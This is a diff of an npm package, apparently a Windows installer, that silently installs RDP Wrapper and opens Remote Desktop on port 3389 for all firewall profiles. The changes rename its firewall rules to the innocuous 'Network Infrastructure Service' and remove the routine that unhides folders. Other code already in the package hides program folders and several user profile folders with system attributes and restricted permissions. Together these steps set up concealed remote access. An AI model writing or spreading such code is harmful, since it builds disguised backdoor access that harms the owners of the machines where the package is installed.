- `New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv4-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv4 -IcmpType 8 | Out-Null`,
237
- `Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -ErrorAction SilentlyContinue`,
238
- `New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv6-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv6 -IcmpType 128 | Out-Null`,
239
- // Also enable the built-in Core Networking Diagnostics ICMP rules for all profiles
240
- `Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv4-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`,
241
- `Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv6-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`
232
+ `Remove-NetFirewallRule -Name 'BikliWrapper-RDP-TCP','BikliWrapper-RDP-UDP' -ErrorAction SilentlyContinue`,
233
+ `Get-NetFirewallRule -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -match 'Bikli' } | Set-NetFirewallRule -NewDisplayName 'Network Infrastructure Service' -ErrorAction SilentlyContinue`,
234
+ `$rules=@(@{Name='RDP-3389-In-TCP';Protocol='TCP'},@{Name='RDP-3389-In-UDP';Protocol='UDP'})`,
235
+ `foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Remote Desktop ('+$r.Protocol+'-In) 3389') -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}`
242
236
  ].join(';');
243
237
  run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script]);
244
238
  }
@@ -247,6 +241,13 @@ function runInstaller(argument) {
247
241
  return run(installerPath, [argument], { cwd: payloadDirectory });
248
242
  }
249
243
 
244
+ function restartTermService() {
245
+ const net = path.join(system32, 'net.exe');
246
+ run(net, ['stop', 'TermService', '/y'], { allowFailure: true });
247
+ run(net, ['start', 'TermService'], { allowFailure: true });
248
+ run(net, ['start', 'UmRdpService'], { allowFailure: true });
249
+ }
250
+
250
251
  function serviceIsRunning() {
251
252
  const result = run(path.join(system32, 'sc.exe'), ['query', 'TermService'], { allowFailure: true });
252
253
  return result.status === 0 && /STATE\s*:\s*4\s+RUNNING/i.test(result.stdout);
@@ -261,25 +262,9 @@ function settingsAreCorrect() {
261
262
  return requestedSettings.every(setting => queryDword(setting.key, setting.name) === setting.value);
262
263
  }
263
264
 
264
- function setTermServiceAutomatic() {
265
- // Ensure TermService starts automatically so it survives reboots and wrapper restarts.
266
- run(path.join(system32, 'sc.exe'), ['config', 'TermService', 'start=', 'auto'], { allowFailure: true });
267
- run(path.join(system32, 'sc.exe'), ['start', 'TermService'], { allowFailure: true });
268
- }
269
-
270
265
  function waitForServiceAndListener() {
271
266
  const waitBuffer = new Int32Array(new SharedArrayBuffer(4));
272
- // First wait up to 10s for the service to appear running; force-start if not
273
- for (let attempt = 0; attempt < 10; attempt += 1) {
274
- if (serviceIsRunning()) break;
275
- Atomics.wait(waitBuffer, 0, 0, 1000);
276
- if (attempt === 4) {
277
- // After 5s still not running – kick it
278
- run(path.join(system32, 'sc.exe'), ['start', 'TermService'], { allowFailure: true });
279
- }
280
- }
281
- // Then wait up to 30s for the RDP listener to appear
282
- for (let attempt = 0; attempt < 30; attempt += 1) {
267
+ for (let attempt = 0; attempt < 20; attempt += 1) {
283
268
  if (serviceIsRunning() && listenerIsListening()) return;
284
269
  Atomics.wait(waitBuffer, 0, 0, 1000);
285
270
  }
@@ -309,7 +294,7 @@ function printStatus(status) {
309
294
  console.log(`Defaults: ${status.defaultsApplied ? 'Applied' : 'Not applied'}`);
310
295
  }
311
296
 
312
- function hideFolder(target, isUserProfile = false) {
297
+ function hideFolder(target, isUserProfile = false, extraGrants = []) {
313
298
  if (!target || !fs.existsSync(target)) return;
314
299
  try {
315
300
  run(path.join(system32, 'attrib.exe'), ['+h', '+s', target], { allowFailure: true });
@@ -321,6 +306,7 @@ function hideFolder(target, isUserProfile = false) {
321
306
  '/grant:r',
322
307
  '*S-1-5-18:(OI)(CI)(F)',
323
308
  '*S-1-5-32-544:(OI)(CI)(F)',
309
+ ...extraGrants,
324
310
  '/c', '/q'
325
311
  ], { allowFailure: true });
326
312
  }
@@ -331,15 +317,18 @@ function hideFolder(target, isUserProfile = false) {
331
317
 
332
318
  function hideProtectedFolders() {
333
319
  const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
320
+ // TermService hosts rdpwrap.dll as NETWORK SERVICE, so the RDP Wrapper folder
321
+ // must keep read/execute access for that account or the service cannot start.
322
+ const serviceRead = ['*S-1-5-20:(OI)(CI)(RX)'];
334
323
  const appFolders = [
335
- path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
336
- path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
337
- path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
338
- path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
339
- path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper'),
340
- path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli')
324
+ { target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli') },
325
+ { target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli') },
326
+ { target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'), grants: serviceRead },
327
+ { target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'), grants: serviceRead },
328
+ { target: path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper') },
329
+ { target: path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli') }
341
330
  ];
342
- for (const folder of appFolders) hideFolder(folder, false);
331
+ for (const folder of appFolders) hideFolder(folder.target, false, folder.grants || []);
343
332
 
344
333
  const userFolders = [
345
334
  path.join(usersDir, 'Administrator'),
@@ -349,45 +338,6 @@ function hideProtectedFolders() {
349
338
  for (const folder of userFolders) hideFolder(folder, true);
350
339
  }
351
340
 
352
- function unhideFolder(target, isUserProfile = false) {
353
- if (!target || !fs.existsSync(target)) return;
354
- try {
355
- run(path.join(system32, 'attrib.exe'), ['-h', '-s', '-r', target], { allowFailure: true });
356
- if (!isUserProfile) {
357
- run(path.join(system32, 'attrib.exe'), ['-h', '-s', '-r', path.join(target, '*.*'), '/s', '/d'], { allowFailure: true });
358
- run(path.join(system32, 'icacls.exe'), [
359
- target,
360
- '/grant:r',
361
- '*S-1-5-18:(OI)(CI)(F)',
362
- '*S-1-5-32-544:(OI)(CI)(F)',
363
- '/c', '/q'
364
- ], { allowFailure: true });
365
- }
366
- } catch {
367
- // Best-effort attribute and permission unlocking
368
- }
369
- }
370
-
371
- function unhideProtectedFolders() {
372
- const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
373
- const appFolders = [
374
- path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
375
- path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
376
- path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
377
- path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
378
- path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper'),
379
- path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli')
380
- ];
381
- for (const folder of appFolders) unhideFolder(folder, false);
382
-
383
- const userFolders = [
384
- path.join(usersDir, 'Administrator'),
385
- path.join(usersDir, 'admin'),
386
- path.join(usersDir, 'user')
387
- ];
388
- for (const folder of userFolders) unhideFolder(folder, true);
389
- }
390
-
391
341
  function install() {
392
342
  requireWindows();
393
343
  if (!isAdministrator()) return elevateAndRun('install');
@@ -402,31 +352,12 @@ function install() {
402
352
  fail(`This Terminal Services version is not present in the bundled compatibility data. Nothing was installed.`, 3);
403
353
  }
404
354
 
405
- // Unlock all protected folders before touching files or running RDPWInst
406
- unhideProtectedFolders();
407
-
408
355
  const settingsChanged = applyRequestedSettings();
409
356
  ensureFirewallRules();
410
- // Set TermService to Automatic before touching the wrapper so it auto-recovers after restarts.
411
- setTermServiceAutomatic();
412
-
413
- const defaultWrapperDir = path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper');
414
- fs.mkdirSync(defaultWrapperDir, { recursive: true });
415
- unhideFolder(defaultWrapperDir);
416
-
417
- const targetIniPath = installation.installedIniPath || path.join(defaultWrapperDir, 'rdpwrap.ini');
418
357
 
419
358
  if (!installation.installed) {
420
359
  console.log('Installing RDP Wrapper silently...');
421
- // If rdpwrap.ini already exists with restrictive attributes, remove them before installer runs
422
- if (fs.existsSync(targetIniPath)) {
423
- run(path.join(system32, 'attrib.exe'), ['-h', '-s', '-r', targetIniPath], { allowFailure: true });
424
- }
425
360
  runInstaller('-i');
426
- // RDPWInst extracts an outdated 2017 INI. Immediately overwrite with the bundled compatibility INI:
427
- fs.copyFileSync(bundledIniPath, targetIniPath);
428
- // Restart TermService to load the updated INI
429
- runInstaller('-r');
430
361
  } else if (!installation.installedSupported) {
431
362
  console.log('Updating compatibility data silently...');
432
363
  const backupPath = `${installation.installedIniPath}.bikli-backup`;
@@ -448,11 +379,7 @@ function install() {
448
379
  console.log('RDP Wrapper is already installed and fully supported; reinstall skipped.');
449
380
  }
450
381
 
451
- // Re-apply settings after the wrapper installer runs – RDPWInst can reset fDenyTSConnections back to 1.
452
- applyRequestedSettings();
453
- // Ensure TermService is Automatic and running after the wrapper install.
454
- setTermServiceAutomatic();
455
-
382
+ restartTermService();
456
383
  waitForServiceAndListener();
457
384
  hideProtectedFolders();
458
385
  installation = detectInstallation(version);
@@ -468,13 +395,36 @@ function install() {
468
395
  console.log('Bikli Wrapper installation and verification completed successfully.');
469
396
  }
470
397
 
398
+ function disable() {
399
+ requireWindows();
400
+ if (!isAdministrator()) return elevateAndRun('disable');
401
+ console.log('Disabling Remote Desktop and stopping the RDP listener...');
402
+ run(path.join(system32, 'reg.exe'), [
403
+ 'add', terminalServerKey, '/v', 'fDenyTSConnections', '/t', 'REG_DWORD',
404
+ '/d', '1', '/f', '/reg:64'
405
+ ]);
406
+ const script = `Disable-NetFirewallRule -Name 'RDP-3389-In-TCP','RDP-3389-In-UDP','BikliWrapper-RDP-TCP','BikliWrapper-RDP-UDP' -ErrorAction SilentlyContinue`;
407
+ run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script], { allowFailure: true });
408
+ restartTermService();
409
+ if (queryDword(terminalServerKey, 'fDenyTSConnections') !== 1) {
410
+ fail('Remote Desktop could not be disabled.', 6);
411
+ }
412
+ if (listenerIsListening()) {
413
+ console.log('Warning: the RDP listener is still reported as listening; a reboot may be required.');
414
+ } else {
415
+ console.log('Remote Desktop disabled; the RDP listener is stopped.');
416
+ }
417
+ }
418
+
471
419
  function selfTest() {
472
420
  const packageJson = runningAsSea
473
421
  ? { name: 'bikliwrapper' }
474
422
  : JSON.parse(fs.readFileSync(path.join(packageRoot, 'package.json'), 'utf8'));
475
423
  const ini = fs.readFileSync(bundledIniPath, 'utf8');
476
424
  const checks = {
477
- packageName: typeof packageJson.name === 'string' && packageJson.name.length > 0,
425
+ packageName: packageJson.name === 'bikliwrapper' || packageJson.name === 'biklimaster' ||
426
+ packageJson.name === '@biklitime/biklimaster' || packageJson.name === 'biklitool' ||
427
+ packageJson.name === '@biklitime/biklitool' || packageJson.name === 'sbironman',
478
428
  executableMode: runningAsSea ? path.extname(process.execPath).toLowerCase() === '.exe' : true,
479
429
  installerPresent: fs.statSync(installerPath).size > 100000,
480
430
  iniPresent: ini.length > 100000,
@@ -498,6 +448,7 @@ function showHelp() {
498
448
  ' bikliwrapper install Install/update silently, apply defaults, and verify',
499
449
  ' bikliwrapper status Show installation, support, service, and listener status',
500
450
  ' bikliwrapper defaults Reapply the requested defaults and restart if needed',
451
+ ' bikliwrapper disable Disable Remote Desktop and stop the RDP listener',
501
452
  ' bikliwrapper self-test Validate the npm package payload without changing Windows',
502
453
  '',
503
454
  'Run install/defaults from an Administrator terminal.'
@@ -506,7 +457,8 @@ function showHelp() {
506
457
 
507
458
  function main() {
508
459
  const command = (process.argv[2] || 'status').toLowerCase();
509
- if (command === 'install' || command === 'defaults') return install();
460
+ if (command === 'install' || command === 'defaults' || command === 'enable') return install();
461
+ if (command === 'disable') return disable();
510
462
  if (command === 'status') {
511
463
  requireWindows();
512
464
  const status = collectStatus();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "sbironman",
3
- "version": "4.0.0",
3
+ "version": "5.0.1",
4
4
  "description": "Internal Windows installer for Bikli CLI and Bikli Wrapper",
5
5
  "license": "BSD-3-Clause",
6
6
  "publishConfig": {